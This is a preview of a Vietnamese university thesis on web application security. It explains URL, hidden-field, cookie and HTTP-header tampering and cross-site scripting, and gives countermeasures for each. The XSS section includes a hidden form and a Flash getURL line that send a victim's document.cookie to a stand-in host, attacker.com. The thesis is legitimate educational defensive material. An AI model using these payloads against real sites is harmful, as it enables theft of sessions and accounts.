1. Trang chủ
  2. » Luận Văn - Báo Cáo

Một số vấn đề về bảo mật ứng dụng web và demo lỗi SQL injections

76 522 2

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 76
Dung lượng 1,06 MB

Các công cụ chuyển đổi và chỉnh sửa cho tài liệu này

Nội dung

Hình 1 Quá trình hoạt động bắt đầu với yêu cầu được tạo ra từ người dùng trên trìnhduyệt, gửi qua Internet tới trình chủ Web ứng dụng Web application Server.Web ứng dụng truy cập máy chủ

Trang 1

TRƯỜNG ĐẠI HỌC VINH KHOA CÔNG NGHỆ THÔNG TIN

Trang 2

án Đồng thời cũng cho phép tôi được cảm ơn sự giúp đỡ, tạo điều kiện củakhoa CNTT-Trường Đại học Vinh

Mặc dù tôi đã cố gắng hoàn thành đồ án trong khả năng cho phép nhưng khôngtránh khỏi thiếu sót Tôi rất mong nhận được sự chỉ bảo đóng góp ý kiến tậntình của các thầy cô giáo và các bạn

Người viết đồ án

Nguyễn Mạnh Cường

Trang 3

MỤC LỤC

MỞ ĐẦU 5

CHƯƠNG I : GIỚI THIỆU ỨNG DỤNG WEB 6

I Ứng dụng Web (Web Application) 6

II Hoạt động 7

III Các vấn đề về bảo mật Web 9

CHƯƠNG II : GIỚI THIỆU SƠ LƯỢC VỀ CÁC KỸ THUẬT TẤN CÔNG ỨNG DỤNG WEB 11

I CÁC KHÁI NIỆM THUẬT NGỮ LIÊN QUAN 11

I.1 Hacker 11

I.2 HTTP Header 11

I.3 Session 13

I.4 Cookie 13

I.5 Proxy 14

II GIỚI THIỆU SƠ LƯỢC CÁC KỸ THUẬT TẤN CÔNG 14

II.1 Kiểm soát truy cập web (Web access control) 14

II.2 Chiếm hữu phiên làm viêc 14

II.3 Lợi dụng các thiếu sót trong việc kiểm tra dữ liệu nhập hợp lệ (Input validation) 15

II.4 Để lộ thông tin 16

II.5 Từ chối dịch vụ (Denial of service DoS) 17

CHƯƠNG III : MỘT SỐ KĨ THUẬT TẤN CÔNG ỨNG DỤNG WEB 18

I THAO TÁC TRÊN THAM SỐ TRUYỀN 18

I.1 Thao tác trên URL 18

I.2 Thao tác trên biến ẩn form 19

I.3 Thao tác trên Cookie 21

I.4 Thao tác trong HTTP header 22

II CHÈN MÃ LỆNH THỰC THI TRÊN TRÌNH DUYỆT NẠN NHÂN (CROSS-SITE SCRIPTING) 24

II.1 Cross-Site Scripting (XSS)

Trang 4

II.2 Phương pháp tấn công XSS truyền thống. 26

II.3 Tấn công XSS bằng flash 28

II.4 Phát hiện XSS bằng cách nào? 29

II.5 Cách phòng chống. 29

III CHÈN CÂU TRUY VẤN SQL (SQL INJECTION) 30

IV.1 Khái niệm SQL Injection 30

IV.2 Các cách tấn công 30

IV.3 Cách phòng chống 45

IV TẤN CÔNG TỪ CHỐI DỊCH VỤ (DoS) 49

V.1 Khái niệm 49

V.2 Những khả năng bị tấn công bằng DoS 49

V.3 Các kĩ thuật tấn công 50

V.4 Biện pháp phòng chống 57

CHƯƠNG IV : TỔNG KẾT CÁC QUÁ TRÌNH TẤN CÔNG VÀ CÁC BIỆN PHÁP PHÒNG CHỐNG 59

I CÁC QUÁ TRÌNH TẤN CÔNG 59

I.1 Thu nhập thông tin ở mức hạ tầng của mục tiêu 59

I.2 Khảo sát ứng dụng Web 61

I.3 Tấn công 62

II CÁC BIỆN PHÁP PHÒNG CHỐNG 62

II.1 Với những nhà quản trị mạng 62

II.2 Với những nhà thiết kế ứng dụng Web 64

II.3 Với người sử dụng ứng dụng Web 65

CHƯƠNG V : CHƯƠNG TRÌNH MINH HỌA 66

I Tổng quan 66

II Cài đặt 66

KẾT LUẬN 74

I Các kết quả thu được 74

II Hướng phát triển 74

TÀI LIỆU THAM KHẢO 75

Trang 5

MỞ ĐẦU

Trong thời đại bùng nổ Internet hiện nay, việc khai thác, tìm kiếm và quảngcáo thông tin trên trang Web đã trở thành một nhu cầu không thể thiếu và đóngmột vai trò rất quan trọng đối với sự thành công trong công việc của các doanhnghiệp, các tổ chức xã hội cũng như của từng cá nhân Bởi lý do quan trọngnày nên số lượng các cá nhân và tổ chức truy cập vào trang Web tăng lên mộtcách đáng kể Trong số này, hàng ngày, hàng tuần có cả hàng trăm cuộc thămviếng các trang Web với mục đích xấu Số lượng các cuộc tấn công nhằm vào

lỗ hổng trên các ứng dụng Web đã gây nhiều tổn thất cả về mặt kinh tế và xãhội Vì vậy việc nghiên cứu các vấn đề về bảo mật ứng dụng Web là một vấn

đề rất quan trọng trong sự phát triển của Internet hiện nay

Mục đích của đồ án:

Nghiên cứu các phương pháp tấn công ứng dụng web, từ đó đưa ra các giảipháp bảo mật cho ứng dụng

Nội dung đồ án được chia thành 5 chương chính:

Chương I : Giới thiệu ứng dụng Web.

Chương II : Giới thiệu sơ lược các kĩ thuật tấn công ứng dụng web.

Chương III : Một số kĩ thuật tấn công.

Chương IV :Tổng kết các quá trình tấn công và các biện pháp phòng chống Chương V : Chương trình minh họa.

Trang 6

CHƯƠNG I GIỚI THIỆU ỨNG DỤNG WEB

I Ứng dụng Web (Web Application)

Web là môi trường có khả năng thực thi chương trình cao, cho phép tạo vô sốtùy biến trên nó, triển khai trực tiếp một lượng lớn các ứng dụng tới hàng triệungười dùng trên thế giới Hai thành phần quan trọng nhất của Website hiện làtrình duyệt Web và các ứng dụng Web

Web browser ( trình duyệt Web ) là các ứng dụng phần mềm cho phép ngườidùng truy vấn dữ liệu và tương tác với nội dung nằm trên trang Web bên trongWebsite

Các trang Web hiện đại cho phép người dùng lấy xuống nội dung động cá nhânhóa theo thiết lập và tham chiếu riêng Hơn nữa chúng có thể chạy các Scripttrên máy khách, có thể “thay đổi” trình duyệt Internet thành giao diện cho cácứng dụng như thư điện tử, phần mềm ánh xạ tương tác (Yahoo Mail, GooleMaps) Quan trọng nhất là các Website hiện đại cho phép đóng gói, xử lý, lưutrữ và truyền tải dữ liệu khách hàng nhạy cảm (như thông tin cá nhân, mã số thẻtín dụng, thông tin bảo mật xã hội ) có thể dùng ngay hoặc dùng định kỳ vềsau Và điều này được thực hiện qua các ứng dụng Web Đó có thể là các thànhphần Webmail (thư điện tử), trang đăng nhập, chương trình hỗ trợ và mẫu yêucầu sản phẩm hay hoạt động mua bán, hệ thống quản lý nội dung, phát triểnWebsite hiện đại, cung cấp các phương tiện cần thiết để liên lạc với khách hàngtương lai và khách hàng hiện tại

Trang 7

Dưới góc độ chức năng, ứng dụng Web là các chương trình máy tính cho phépngười dùng Website đăng nhập, truy vấn vào/ra dữ liệu qua mạng trên trìnhduyệt Web

Dưới góc độ kỹ thuật, các ứng dụng Web truy vấn máy chủ chứa nội dung (chủyếu trên cơ sở dữ liệu lưu trữ nội dung) và tạo tài liệu Web động để phục vụyêu cầu của máy khách (chính là người dùng Website) Tài liệu được tạo trongkiểu định dạng tiêu chuẩn hỗ trợ trên tất cả mọi trình duyệt (như HTML,XHTML) Trình duyệt Web chính là chìa khóa, nó dịch và chạy tất cả cácScript, lệnh…khi hiển thị trang Web và nội dung được yêu cầu

II Hoạt động

Hình bên dưới minh họa chi tiết mô hình ứng dụng Web ba tầng Tầng đầu tiênthông thương là trình duyệt Web hoặc giao diện người dùng Tầng thứ hai làcông nghệ kỹ thuật tạo nội dung động như Java servlets (JSP) hay ActiveServer Pages (ASP) Còn tầng thứ ba là cơ sở dữ liệu chứa nội dung (như tintức) và dữ liệu người dùng (như username, password, mã số bảo mật xã hội, chitiết thẻ tín dụng)

Trang 8

Hình 1

Quá trình hoạt động bắt đầu với yêu cầu được tạo ra từ người dùng trên trìnhduyệt, gửi qua Internet tới trình chủ Web ứng dụng (Web application Server).Web ứng dụng truy cập máy chủ chứa cơ sở dữ liệu để thực hiện nhiệm vụđược yêu cầu: cập nhật, truy vấn thông tin đang nằm trong cơ sở dữ liệu Sau

đó ứng dụng Web gửi thông tin lại cho người dùng qua trình duyệt

Hình 2

Trang 9

III Các vấn đề về bảo mật Web

Mặc dù không thể phủ nhận những cải tiến nâng cao đáng kể hiện nay, như vấn

đề bảo mật trong ứng dụng Web vẫn không ngừng tăng lên Nguyên nhân cóthể xuất phát từ các đoạn mã không phù hợp Nhiều điểm yếu nghiêm trọng haycác lỗ hổng cho phép hacker xâm nhập thẳng và truy cập vào cơ sở dữ liệu táchlấy dữ liệu nhạy cảm Nhiều cơ sở dữ liệu chứa thông tin giá trị (như chi tiết cánhân, thông tin tài chính) khiến chúng trở thành đích nhắm thường xuyên củahầu hết hacker

Website và các ứng dụng Web liên quan luôn phải sẵn sàng 24/7 để cung cấpdịch vụ theo yêu cầu khách hàng, yêu cầu từ phía nhân viên, nhà cung cấp vànhiều người liên quan khác

 Tường lửa, SLL không thể bảo vệ ứng dụng Web trước mọi hoạt độnghacking, đơn giản vì truy cập vào Website phải để ở chế độ public để bất kỳ

ai cũng có thể ghé thăm Website được Tất cả hệ thống cơ sở dữ liệu hiệnđại (như Microsoft SQL Server, Oracle, MySQL) đều có thể truy cập quamột số cổng cụ thể (như cổng 80, 433) Nếu muốn, một người nào đó có thểkết nội trực tiếp tới cơ sở dữ liệu một cách hiệu quả khi vượt qua cơ chế bảomật của hệ điều hành Các cổng này để mở nhằm cho phép liên lạc với hoạtđộng giao thông mạng hợp pháp, và do đó cũng hình thành nên lỗ hổng lớnnguy hiểm

 Các ứng dụng Web thường truy cập dữ liệu cuối như cơ sở dữ liệu kháchhàng, điểu khiển dữ liệu có giá trị và do đó rất khó để có thể tuyệt đối antoàn

Trang 10

 Hầu hết ứng dụng Web đều là tự tạo, do đó ít có được các kiểm tra trình độhơn so với các phần mềm cùng loại Do đó các ứng dụng tùy biến thường dễ

Trang 11

CHƯƠNG II

GIỚI THIỆU SƠ LƯỢC VỀ CÁC KỸ THUẬT TẤN CÔNG ỨNG DỤNG WEB

I CÁC KHÁI NIỆM THUẬT NGỮ LIÊN QUAN

I.1 Hacker

Hacker là một thuật ngữ dùng để chuyên chỉ những kẻ phá hoại các hệ thốngmạng…Hacker thường là những chuyên gia về máy tính Hacker không tạo racác kẽ hở cho hệ thống, nhưng hacker lại là những người am hiểu về hệ điềuhành, hệ quản trị cơ sở dữ liệu, các ngôn ngữ lập trình…Họ sử dụng kiến thứccủa mình trong việc tìm tòi và khai thác các lỗ hổng của hệ thống mạng Một sốhacker chỉ dừng lại ở việc phát hiện và thông báo lỗi tìm được cho những nhàbảo mật hay người phát triển chương trình, họ được xem như là WhiteHat(Hacker mũ trắng) Một số hacker dựa vào những lỗ hổng thực hiện việc khaithác trái phép nhằm mục đích phá hoại hay mưu lợi riêng, những người này bịxem như là BlackHat( Hacker mũ đen)

I.2 HTTP Header

HTTP Header là phần đầu (header) của thông tin mà trình khách và trình chủgửi cho nhau Những thông tin trình khách gửi cho trình chủ được gọi là HTTPrequests (yêu cầu) còn trình chủ gửi cho trình khách là HTTP responses (trảlời) Thông thường, một HTTP header gồm nhiều dòng, mỗi dòng chứa têntham số và giá trị Một số tham số có thể được dùng trong cả header yêu cầu vàheader trả lời, một số khác thì chỉ được dùng riêng trong từng loại Ví dụ:

 Header yêu cầu: (Header Request )

Get /tintuc/homnay.asp HTTP/1.1

Trang 12

User-Agent: Mozilla/4.0 {compatible: MSIE 5.5; Windows NT 5.0}

Accept-Encoding: gzip, deflate

o Dòng đầu là dòng yêu cầu cho biết phương thức yêu cầu (GET hoặcPOST), địa chỉ yêu cầu (/tintuc/homnay.asp) và phiên bản HTTP(HTTP/1.1)…

o Tiếp theo là các tham số Chẳng hạn như:

Accept-Language: Cho biết ngôn ngữ dùng trong trang web

Host: Cho biết địa chỉ máy chủ

Referer: Cho biết địa chỉ của trang web tham chiếu tới

o Header của HTTP request sẽ kết thúc bằng một dòng trống

Path=/

Cache-control: private

<HTML>

<BODY>

Trang 13

………

o Dòng đầu là dòng trạng thái để cho biết phiên bản HTTP được dùng(HTTP/1.1), mã trạng thái (200) và trạng thái (OK)

o Tiếp theo là các tham số

o Tiếp theo là một dòng trống để báo hiệu kết thúc header, tiếp theo

là phần thân của HTTP response

I.3 Session

HTTP là giao thức hướng đối tượng tổng quát, phi trạng thái, nghĩa là HTTPkhông lưu trữ trạng thái làm việc giữa trình duyệt với trình chủ Sự thiếu sótnày gây khó khăn cho một số ứng dụng Web, bởi vì trình chủ không biết đượctrước đó trình duyệt đã có những trạng thái nào Vì thế, để giải quyết vấn đềnày, ứng dụng Web đưa ra một khái niệm phiên làm việc (Session) CònSessionID là một chuỗi để chứng thực phiên làm việc

I.4 Cookie

Cookie là những phần dữ liệu nhỏ có cấu trúc được chia sẻ giữa website vàbrowser của người dùng Cookies được lưu trữ dưới những file dữ liệu nhỏdạng text (size dưới 4k) Chúng được các site tạo ra để lưu trữ/truy tìm/nhậnbiết các thông tin về người dùng đã ghé thăm site và những vùng họ đi quatrong site

Cookies thường có các thành phần sau :

+ Tên: do người lập trình web site chọn

+ Domain: là tên miền từ server mà cookie được tạo và gửi đi

+ Đường dẫn: thông tin về đường dẫn ở web site mà bạn đang xem

+ Ngày hết hạn: là thời điểm mà cookie hết hiệu lực

Trang 14

+ Bảo mật: Nếu giá trị này đựơc thiết lập bên trong cookie, thông tin sẽ đựơc

mã hoá trong quá trình truyền giữa server và browser

I.5 Proxy

Proxy cung cấp cho người sử dụng truy xuất Internet những nghi thức đặc biệthoặc một tập những nghi thức thực thi trên dual_homed host hoặc bassion host.Những chương trình client của người sử dụng sẽ qua trung gian proxy serverthay thế cho server thật sự mà người sử dụng cần giao tiếp

Proxy server xác định những yêu cầu từ client và quyết định đáp ứng haykhông đáp ứng, nếu yêu cầu được đáp ứng, proxy server sẽ kết nối với serverthật thay cho client và tiếp tục chuyển tiếp những yêu cầu từ client đến server,cũng như trả lời của server đến client Vì vậy proxy server giống cầu nối trunggian giữa server và client

II GIỚI THIỆU SƠ LƯỢC CÁC KỸ THUẬT TẤN CÔNG

Sau đây là các khái niệm sơ lược các kĩ thuật tấn công ứng dụng Web đã đượcphân loại dựa trên mức độ gây tác hại đối với ứng dụng

II.1 Kiểm soát truy cập web (Web access control)

Thâm nhập hệ thống qua cửa sau (Back door)

Trong quá trình thiết kế ứng dụng, những người phát triển ứng dụng có thể càimột “cửa sau” (back door) để sau này co thể thâm nhập vào hệ thống một cách

dễ dàng

II.2 Chiếm hữu phiên làm viêc

 Ấn định phiên làm việc (Session Fixation)

Trang 15

Là kĩ thuật tấn công cho phép hacker mạo danh người dùng hợp lệ bằngcách gửi một session ID hợp lệ đến người dùng, sau khi người dùng đăngnhập vào hệ thống thành công, hacker sẽ dùng lại session ID đó vànghiễm nhiên trở thành người dùng hợp lệ

 Đánh cắp phiên làm việc (Session Hijacking)

Là kĩ thuật tấn công cho phép hacker mạo danh người dùng hợp lệ saukhi nạn nhân đã đăng nhập vào hệ thống bằng cách giải mã session IDcủa họ được lưu trữ trong cookie hay tham số URL, biến ẩn của form

II.3 Lợi dụng các thiếu sót trong việc kiểm tra dữ liệu nhập hợp lệ (Input validation)

Hacker lợi dụng những ô nhập dữ liệu để gửi đi một đoạn mã bất kì khiến cho

hệ thống phải thực thi đoạn lệnh đó hay bị phá vỡ hoàn toàn

 Kiểm tra tính đúng đắn của dữ liệu bằng ngôn ngữ phía trình duyệt(Client-side validation)

Do ngôn ngữ phía trình duyệt (JavaScript, VBScrip…) được thực thi trêntrình duyệt nên hacker có thể sửa đổi mã nguồn để có thể vô hiệu hóa sựkiểm tra

 Vượt qua đường dẫn (Path Traversal):

Trang 16

Là phương pháp lợi dụng đường dẫn truy xuất một tập tin trên URL đểtrả kết quả về cho trình duyệt mà hacker có thể lấy được nội dung tệp tinbất kì trên hệ thống.

 Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross-Site Scripting):Đây là kĩ thuật chủ yếu nhằm vào thông tin trên máy tính của người dùnghơn là vào hệ thống máy chủ Bằng cách thêm vào một đoạn mã bất kì( thường được lập trình bằng ngôn ngữ kịch bản như JavaScrip,VBScrip…), hacker có thể thực hiện việc đánh cắp thông tin quan trọngnhư cookie để từ đó trở thành người dùng hợp lệ của ứng dụng…dựa trênnhững thông tin đánh cắp này

 Thêm câu lệnh hệ thống (OS Command Injection)

Khả năng thực thi được những câu lệnh hệ thống hay những đoạn mãđược thêm vào trong những tham số mà không có sự kiểm tra chặt chẽnhư tham số của form, cookie, yêu cầu HTTP Header, và những dữ liệunguy hiểm trong những tập tin được đưa lên trình chủ Thành công trong

kĩ thuật này giúp hacker có thể thực thi được những câu lệnh hệ thốngcùng với quyền của trình chủ

 Chèn câu truy vấn SQL (SQL Injection)

Trong lập trình với cơ sở dữ liệu, người lập trình đã sai sót trong vấn đềkiểm tra giá trị nhập vào để từ đó hacker lợi dụng thêm vào những câutruy vấn hay những giá trị không hợp lệ để đăng nhập vào hệ thống

 Ngôn ngữ phía máy chủ (Server side includes)

Là khả năng thêm vào những câu lệnh thuộc hệ thống như nhúng file(include file), truy xuất cơ sở dữ liệu…khiến cho hacker có cơ hội truyxuất đến file, cơ sở dữ liệu…mà bình thường không thể xem được trênwebsite

II.4 Để lộ thông tin

Trang 17

Những tập tin và ứng dụng trên hệ thống chứa những thông tin quan trọng như

mã nguồn một trang Web hay tập tin chứa mật khẩu của người dùng trên hệthống luôn là mục tiêu của hacker Ngoài ra những lời chú thích trong mãnguồn cũng là nguồn thông tin hữu ích cho hacker

Hacker sử dụng trả lời HTTP từ hệ thống để xác định một tập tin hay ứng dụng

có tồn tại hay không

Ví dụ:

.HTTP 200: Tập tin tồn tại

.HTTP 404: Tập tin không tồn tại

II.5 Từ chối dịch vụ (Denial of service DoS)

Tấn công kiểu DoS là kiểu tấn công làm cho các dịch vụ mạng bị tê liệt, khôngcòn khả năng đáp ứng yêu cầu nữa Loại tấn công này ảnh hưởng đến nhiều hệthống, rất dễ thực hiện và lại rất khỏ bảo vệ hệ thống khỏi yêu cấu tấn côngDoS

Trang 18

CHƯƠNG III MỘT SỐ KĨ THUẬT TẤN CÔNG ỨNG DỤNG WEB

I THAO TÁC TRÊN THAM SỐ TRUYỀN

Thao tác trên tham số truyền là kĩ thuật thay đổi thông tin quan trọng trêncookie, URL hay biến ẩn của form Kĩ thuật Cross-Site Scripting, SessionID,SQL Injection, Buffer Overflow…cũng cần dùng đến các tham số này để hoànthiện các bước tấn công của hacker Có thể nói tham số truyền là đầu mối chomọi hoạt động của hacker trong quá trình tấn công ứng dụng

I.1 Thao tác trên URL

I.1.1 Khái niệm:

Khi nhập một form HTML thì kết quả sẽ được gửi đi theo hai cách: GET hayPOST Nếu dùng GET, thì tất cả các tên biến và giá trị của nó sẽ xuất hiệntrong chuỗi URL

Ví dụ: Có một trang web ứng dụng cho phép thành viên đã được thay đổi mậtkhẩu

http://www.nganhang.com/example?user=abc&newpass=123

Với: Username là tên người cần thay đổi mật khẩu

Newpass là mật khẩu mới cho username

Tuy nhiên, bằng cách thay đổi tham số như sau:

http://www.nganhang.com/example?user=admin&newpass=111111

Trang 19

Hacker đã có thể thay đổi mật khẩu của admin bằng một mật khẩu mới bất kì,trong ví dụ này là ‘111111’

 Ngoài ra, với những thông tin có giá trị, cần mã hóa thông tin này trướckhi cho hiển thị trên trình duyệt để tránh hacker có thể sửa đổi tùy ý

I.2 Thao tác trên biến ẩn form

I.2.1 Khái niệm

Thông tin có thể được chuyển đổi thông qua một biến ẩn form, gọi là HiddenForm Field Biến ẩn form không hiển thị trên màn hình trình duyệt nhưngngười dùng có thể tìm thấy nội dung của nó trong “view source”, vì thế đây làmột điểm yếu để hacker lợi dụng bằng cách lưu nội dung trang web xuống trìnhduyệt, thay đổi nội dung trang và gửi đến trình chủ

Ví dụ: Form gốc có nội dung như sau:

<form action=http://www.tancong.com/cuahang.p1 method=”POST”>

Trang 20

<input type=”hiden” name=”giaca” value=”99.99”>

Nhưng nếu hacker gán một giá trị khác cho trường “giaca”:

<form action=http://www.tancong.com/cuahang.p1 method=”POST”>

I.2.2 Một số biện pháp khắc phục

 Chỉ nên sử dụng biến ẩn của form để hiện thị dữ liệu trên trình duyệt,không được sử dụng giá trị của biến để thao tác trong xử lí ứng dụng

Trang 21

 Ghép tên và giá trị của biến ẩn thành một chuỗi đơn Sử dụng thuật toán

mã hóa MD5 hoặc một kiểu hash một chiều khác để tổng hợp chuỗi đó

và lưu nó vào một hidden field gọi là “Chuỗi mẫu”

Khi giá trị trong form được gửi đi, các thao tác như trên được thực hiệnlại với cùng một khóa mà ta định trước Sau đó đem so sánh với “Chuỗimẫu”, nếu chũng không khớp nhau thì chứng tỏ giá trị trong biểu mẫu đã

bị thay đổi

I.3 Thao tác trên Cookie

I.3.1 Khái niệm.

Cookie là những phần dữ liệu nhỏ có cấu trúc được chia sẻ giữa website và browser của người dùng cookies được lưu trữ dưới những file dữ liệu nhỏ dạngtext (size dưới 4k) Chúng được các site tạo ra để lưu trữ/truy tìm/nhận biết các thông tin về người dùng đã ghé thăm site và những vùng mà họ đi qua trong site

Vì cookie là thành phần lưu trữ thông tin bảo mật nhất nên Cookie thường đượcdùng để lưu giữ trạng thái giao thức HTTP hơn là biến ẩn form và biến URL

Nó còn được dùng để lưu trữ những thông tin của người dùng khi sử dụng ứngdụng và những dữ liệu khác của session Do đó hacker có thể thay đổi nội dungcookie để phá hoại ứng dụng

Ví dụ: Về cookie dùng để lưu trữ thông tin cho ứng dụng web thông tin du lịch:

Cookie: lang=en-us; ADMIN=no; y=1; time = 10:30GMT ;

Cookie xác định người dùng này không phải là Admin (ADMIN=0), nhưng nếuhacker thay đổi trường này thì điều gì sẽ xảy ra? Hacker có thể thay đổi lạithành như sau:

Trang 22

Cookie: lang=en-us; ADMIN=yes; y=1; time=12:30GMT;

Hacker lúc này mang vai trò là một người quản trị của ứng dụng

I.3.2 Một số biện pháp khắc phục

 Sử dụng đối tượng session lưu trữ thông tin quan trọng trên trình chủ.Khi ứng dụng cần kiểm tra thông tin của một người dùng, ứng dụng sẽdùng sessionID của người dùng để chỉ đến thông tin của người dùng đótrong cache hay cơ sở dữ liệu

 Xây dựng một cơ chế kiểm tra nội dung của cookie để tìm ra những giátrị không hợp lệ từ đó biết được cookie đó là giả

 Mã hóa cookie Có một số phương pháp mã hóa như symmetric (dùng 1khóa duy nhất cho cả mã hóa và giải mã) hay asymmetric (mã hóa dùng

2 khóa riêng biệt, một khóa dùng chung cho mã hóa và một khóa riêng

để giải mã)

I.4 Thao tác trong HTTP header

URL, biến ẩn form, cookie đều là những thành phần lưu trữ thông tin mà ngườidùng thông thường có thể xem và thay đổi Tuy nhiên, những thành phần đóđều được chuyển đi thông qua HTTP Header Ví thế, mặc dù HTTP Headerkhông phải là tham số truyền của một ứng dụng nhưng mọi thông tin đều đượclưu trữ vào nó trước khi chuyển đi nên trong phần này sẽ đề cập đến việc thayđổi một HTTP Header

I.4.1 Khái niệm.

Thông thường chỉ có trình duyệt và trình chủ là trao đổi HTTP Header, còn hầuhết các ứng dụng web thì không Tuy nhiên, hacker có thể tự viết một chươngtrình để điều khiển HTTP header (như xem nội dung, tạo mới) hay sử dụng cácproxy miễn phí cho phép thay đổi dữ liệu được gửi từ trình duyệt Ngoài ra

Trang 23

hacker có thể tấn công trực tiếp bằng cách telnet gửi HTTP Request đến trìnhchủ.

Phần in đậm là nội dung hacker thay đổi

Referer header chứa URL của trang web mà từ đó yêu cầu được gửi đi Vì thếmột vài ứng dụng sẽ kiểm tra thành phần này trong header để đảm bảo rằng nóđược gửi từ trang web của ứng dụng đó Việc làm này dùng để ngăn chặn việchacker lưu lại trang web xuống máy, chỉnh sửa thuộc tính form, phá hoại bằngcách nhằm vào client side validate hay serve side include, sau đó gửi đi Nhưngphương pháp kiểm tra này sẽ thất bại khi hacker có thể sửa lại Referer header

để nó giống như được gửi từ trang web hợp lệ

Referer: www.redhat.com/login.asp

Trang 24

I.4.2 Một số biện pháp khắc phục.

Đơn giản là không tin tưởng vào HTTP header nếu chưa có các biện pháp antoàn Với các header gửi từ trình chủ, chẳng hạn như cookie thì có thể được mãhóa Còn với các header gửi từ trình khách thì không nên dùng các tham số nhưreferer,…để thực hiện các biện pháp an toàn

Nhận xét:

Mọi thông tin quan trọng trao đổi giữa trình duyệt và trình chủ không nên lưutrữ dưới dạng chuỗi thông thường mà cần được mã hóa, ngoài ra những thôngtin này nên được kiểm tra, đối chiếu với dữ liệu trong cơ sở dữ liệu hay trongcache của trình chủ, phòng tránh trường hợp nội dung thông tin bị sai lệch

II CHÈN MÃ LỆNH THỰC THI TRÊN TRÌNH DUYỆT NẠN NHÂN (CROSS-SITE SCRIPTING)

II.1 Cross-Site Scripting (XSS)

Là một trong những kĩ thuật tấn công phổ biến nhất hiên nay, đồng thời nócũng là một trong những vấn đề bảo mật quan trọng đối với các nhà phát triểnweb và cả những người sử dụng web Bất kì một website nào cho phép người

sử dụng đăng thông tin mà không có sự kiểm tra chặt chẽ các đoạn mã nguyhiểm thì đều có thể tiềm ẩn các lỗi XSS

1 XSS là gì ?

Cross-Site Scripting hay còn được gọi tắt là XSS (thay vì gọi tắt là CSS đểtránh nhầm lẫn với CSS-Cascading Style Sheet của HTML) là một kĩ thuật tấncông bằng cách chèn vào các website động (ASP, PHP, CGI, JSP ) những thẻHTML hay những đoạn mã script nguy hiểm có thể gây nguy hại cho nhữngngười sử dụng khác Trong đó, những đoạn mã nguy hiểm đựơc chèn vào hầu

Trang 25

hết được viết bằng các Client-Site Script như JavaScript, JScript, DHTML vàcũng có thể là cả các thẻ HTML Kĩ thuật tấn công XSS đã nhanh chóng trởthành một trong những lỗi phổ biến nhất của Web Applications và mối đe doạcủa chúng đối với người sử dụng ngày càng lớn

2 XSS hoạt động như thế nào ?

Về cơ bản XSS cũng như SQL Injection hay Source Injection, nó cũng là cácyêu cầu (request) được gửi từ các máy client tới server nhằm chèn vào đó cácthông tin vượt quá tầm kiểm soát của server Nó có thể là một request được gửi

từ các form dữ liệu hoặc cũng có thể đó chỉ là các URL như

Code:

http://www.example.com/search.cgi?

query=<script>alert('XSS was found !')</script>

Với đoạn mã URL chèn vào như trên rất có thể trình duyệt của bạn sẽ hiện lênmột thông báo "XSS was found !"

Các đoạn mã trong thẻ <script> không hề bị giới hạn bởi chúng hoàn toàn có thể thay thế bằng một file nguồn trên một server khác thông qua thuộc tính src của thẻ <script> Cũng chính vì lẽ đó mà chúng ta chưa thể lường hết được độ nguy hiểm của các lỗi XSS

Nhưng nếu như các kĩ thuật tấn công khác có thể làm thay đổi được dữ liệu nguồn của web server (mã nguồn, cấu trúc, cơ sở dữ liệu) thì XSS chỉ gây tổn hại đối với website ở phía client mà nạn nhân trực tiếp là những người khách duyệt site đó Tất nhiên đôi khi các hacker cũng sử dụng kĩ thuật này để

“deface” các website nhưng đó vẫn chỉ tấn công vào bề mặt của website Thật vậy, XSS là những Client-Side Script, những đoạn mã này sẽ chỉ chạy bởi trình duyệt phía client do đó XSS không làm ảnh hưởng đến hệ thống website nằm trên server

Trang 26

II.2 Phương pháp tấn công XSS truyền thống.

Ứng dụng web thường lưu trữ thông tin quan trọng ở cookie Cookie là mẫuthông tin mà ứng dụng lưu trên đĩa cứng của người sử dụng Nhưng chỉ ứngdụng thiết lập ra cookie thì mới có thể đọc nó Do đó chỉ khi người dùng đangtrong phiên làm việc của ứng dụng thì hacker mới có cơ hội đánh cắp cookie.Công việc đầu tiên của hacker là tìm trang đích để dụ người dùng đăng nhậpsau khi đã tìm ra lỗ hổng trên ứng dụng đó

Các bước thực hiện XSS truyền thống:

Hình: Quá trình thực hiện XSSTóm tắt các bước thực hiện:

Bước1 : Hacker biết được người dùng đang sử dụng một ứng dụng Web

có lỗ hổng XSS

Bước 2: Người dùng nhận được 1 liên kết thông qua email hay trên

chính trang Web (như trên guestbook, banner dễ dàng thêm một liên kết

Trang 27

do chính hacker tạo ra ) Thông thường hacker khiến người dùng chú ýbằng những câu kích thích sự tò mò của người dùng như “Kiểm tra tàikhoản”, “Một phần thưởng hấp dẫn đang chờ bạn”

Bước 3: Chuyển nội dung thông tin ( cookie, tên, mật khẩu…) về máy

chủ của hacker

Bước 4: hacker tạo một chương trình cgi hoặc một trang Web để ghi

nhận những thông tin đã đánh cắp vào một tập tin

Bước 5: Sau khi nhận thông tin cần thiết, hacker có thể sử dụng để thâm

nhập vào tài khoản của người dùng

Ví dụ :

Các thẻ HTML đều có thể là công cụ cho các cuộc tấn công bởi kĩ thuật XSSChỉ cần với một đoạn mã HTML gửi trong thư chúng ta hoàn toàn bị mấtcookie của mình:

CODE

<form action="http://attacker.com/save.asp" method="post" name="XSS">

<input type="hidden" name="cookie">

</form>

<img border="0" onmouseover="window.document.XSS.cookie.value = document.cookie; window.document.XSS.submit();" src="none.jpg">

Vậy là khi ta nhận thư, và nếu ta vô tình đưa con chuột qua bức ảnh gửi kèm thìcũng có nghĩa là ta đã bị lấy mất cookie Và với cookie lấy được, các hacker cóthể dễ dàng login hòm thư của ta mà không cần biết mật khẩu của ta

Trang 28

II.3 Tấn công XSS bằng flash

Ngoài những cách đưa một đoạn mã nguy hiểm thì hacker còn có thể lợi dụngnhững tập tin flash để đánh cắp thông tin

Macromedia Flash cho phép lập trình bằng một ngôn ngữ kịch bản đã đượcxây dựng sẵn trong Flash là ActionScript ActionScript có cú pháp đơn giản vàtương tự như JavaScript, C hay PERL Ví dụ hàm getURL() dùng để gọi mộttrang web khác, tham số thường là một URL chẳng hạn nhưhttp://www.yahoo.com

Đây là đoạn lệnh trong tập tin flash và sẽ được thi hành khi tập tin flash đượcđọc:

getURL(“javascript:location(‘http://www.attacker.com?

newcookie=’+document.cookie)”)

